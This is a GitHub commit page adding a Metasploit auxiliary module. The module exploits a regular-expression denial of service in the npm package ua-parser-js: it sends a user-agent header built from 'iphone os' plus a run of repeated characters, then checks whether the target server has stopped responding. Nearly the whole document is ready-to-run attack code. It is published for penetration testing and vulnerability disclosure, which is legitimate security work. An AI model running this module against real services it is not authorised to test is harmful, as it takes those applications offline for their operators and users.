Skip to content

Commit 306c5d2

Browse files
author
Nicholas Starke
committed
Adding ua_parser_js ReDoS Module
"ua-parser-js" is an npm module for parsing browser user-agent strings. Vulnerable version of this module have a problematic regular expression that can be exploited to cause the entire application processing thread to "pause" as it tries to apply the regular expression to the input. This is problematic for single-threaded application environments such as nodejs. The end result is a denial of service condition for vulnerable applications, where no further requests can be processed.
1 parent 0a0d24d commit 306c5d2

File tree

1 file changed

+108
-0
lines changed

1 file changed

+108
-0
lines changed
Lines changed: 108 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,108 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::Remote::HttpClient
8+
include Msf::Auxiliary::Dos
9+
10+
def initialize
11+
super(
12+
'Name' => 'ua-parser-js npm module - Regular Expression Denial of Service',
13+
'Description' => %q{
14+
This module exploits a Regular Expression Denial of Service vulnerability in the npm module "ua-parser-js". Server-side applications that use "ua-parser-js" for parsing the browser user-agent string will be vulnerable if they call the "getOS" or "getResult" functions. This vulnerability was fixed as of version 0.7.16.
15+
},
16+
'References' =>
17+
[
18+
['CWE', '400'],
19+
],
20+
'Author' =>
21+
[
22+
'Ryan Knell, Sonatype Security Research',
23+
'Nick Starke, Sonatype Security Research',
24+
],
25+
'License' => MSF_LICENSE
26+
)
27+
28+
register_options([
29+
Opt::RPORT(80)
30+
])
31+
end
32+
33+
def run
34+
if !test_service
35+
fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.")
36+
else
37+
trigger_redos
38+
test_service_unresponsive
39+
end
40+
end
41+
42+
def trigger_redos
43+
begin
44+
print_status("Sending ReDoS request to #{peer}.")
45+
46+
res = send_request_cgi({
47+
'uri' => '/',
48+
'method' => 'GET',
49+
'headers' => {
50+
'user-agent' => 'iphone os ' + (Rex::Text.rand_text_alpha(1) * 64)
51+
}
52+
})
53+
54+
if res.nil?
55+
print_status("No response received from #{peer}, service is most likely unresponsive.")
56+
else
57+
fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.")
58+
end
59+
60+
rescue ::Rex::ConnectionRefused
61+
print_error("Unable to connect to #{peer}.")
62+
rescue ::Timeout::Error
63+
print_status("No HTTP response received from #{peer}, this indicates the payload was successful.")
64+
end
65+
end
66+
67+
def test_service_unresponsive
68+
begin
69+
print_status("Testing for service unresponsiveness.")
70+
71+
res = send_request_cgi({
72+
'uri' => '/' + Rex::Text.rand_text_alpha(8),
73+
'method' => 'GET'
74+
})
75+
76+
if res.nil?
77+
print_good("Service not responding.")
78+
else
79+
print_error("Service responded with a valid HTTP Response; ReDoS attack failed.")
80+
end
81+
rescue ::Rex::ConnectionRefused
82+
print_error("An unknown error occurred.")
83+
rescue ::Timeout::Error
84+
print_good("HTTP request timed out, most likely the ReDoS attack was successful.")
85+
end
86+
end
87+
88+
def test_service
89+
begin
90+
print_status("Testing Service to make sure it is working.")
91+
92+
res = send_request_cgi({
93+
'uri' => '/' + Rex::Text.rand_text_alpha(8),
94+
'method' => 'GET'
95+
})
96+
97+
if !res.nil? && (res.code == 200 || res.code == 404)
98+
print_status("Test request successful, attempting to send payload")
99+
return true
100+
else
101+
return false
102+
end
103+
rescue ::Rex::ConnectionRefused
104+
print_error("Unable to connect to #{peer}.")
105+
return false
106+
end
107+
end
108+
end

0 commit comments

Comments
 (0)